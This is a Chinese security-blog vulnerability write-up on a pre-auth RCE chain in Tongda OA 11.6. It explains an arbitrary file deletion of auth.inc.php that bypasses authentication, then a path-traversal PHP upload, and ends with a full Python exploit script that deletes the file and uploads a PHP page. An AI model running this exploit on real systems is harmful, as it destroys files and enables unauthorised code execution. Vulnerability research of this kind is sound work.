通达OA11.6 preAuth RCE分析

admin 2022年1月6日01:50:32安全博客 CTF专场评论18 views1884字阅读6分16秒阅读模式

该漏洞需要结合任意文件删除以及文件上传漏洞进行配合

任意文件删除漏洞

首先漏洞是在/module/appbuilder/assets/print.php

img

能将传入的guid传入的文件删除

身份绕过

删文件某些时候可以删除一些认证的文件,进行文件的绕过

img

这里呢,简单来讲就是把auth.inc.php给包含进来,如果没有对应session的话,auth.inc.php就会作为“拦路虎”,让用户去登陆,但是删掉会怎么样?

这里就要看php里面include和require的区别了

这两个东西看起来很相似,都是包含嘛,但是稍稍学过洋文的都知道,include的意思指的是包含,而require却有要求的意思,在这里就可以看出点区别了。

如果要包含的文件找不着,include就索性跳过去了,而require是要求,感觉更加强烈一些,找不着文件就fatal error停止不前了。

而恰巧通达OA里面用的都是include,于是如果发现auth.inc.php失踪了,就会直接跳过去!

因此我们只需要利用前面的漏洞,删掉auth.inc.php,即可跳过通达OA里面大部分身份验证!

其中的代码验证SESSION判断是否登录

变量覆盖和任意文件上传

这里我们看到general/data_center/utils/upload.php

这前面包含的header.inc.php会将$_REQUEST中的所有东西注册成变量

(没找到大佬说的位置)

img

可以尝试使用变量覆盖

漏洞点在图中最后一个else

$repkid可控,然后传参数时加入../../../跳到别的目录(因为通达OA的nginx配置中,上传文件所在的attachment目录里面的PHP不准访问,因此必须要跳出去)

img

POC如下:

1
本POC不是无损利用的,会让对方系统文件被删除导致无法正常工作并且由于目标系统及网络环境不可控,该漏洞也不可能编写出在任何情况下都完全无损的EXP使用时请一定一定要慎重,一定要获取对方书面授权再使用如果仅仅想要检测漏洞的存在性,可以自己编写脚本只检测/module/appbuilder/assets/print.php是否存在 import requeststarget="http://127.0.0.1:8203/"payload="<?php echo 123456 ?>"print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")input("Press enter to continue")print("[*]Deleting auth.inc.php....") url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"requests.get(url=url)print("[*]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.' not in page:    print("[-]Failed to deleted auth.inc.php")    exit(-1)print("[+]Successfully deleted auth.inc.php!")print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('hack.php', payload)}requests.post(url=url,files=files)url=target+"/_hack.php"page=requests.get(url=url).textif 'No input file specified.' not in page:    print("[+]Filed Uploaded Successfully")    print("[+]URL:",url)else:    print("[-]Failed to upload file")

FROM :b0urne.top | Author:b0urne

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:50:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  通达OA11.6 preAuth RCE分析 http://cn-sec.com/archives/722823.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: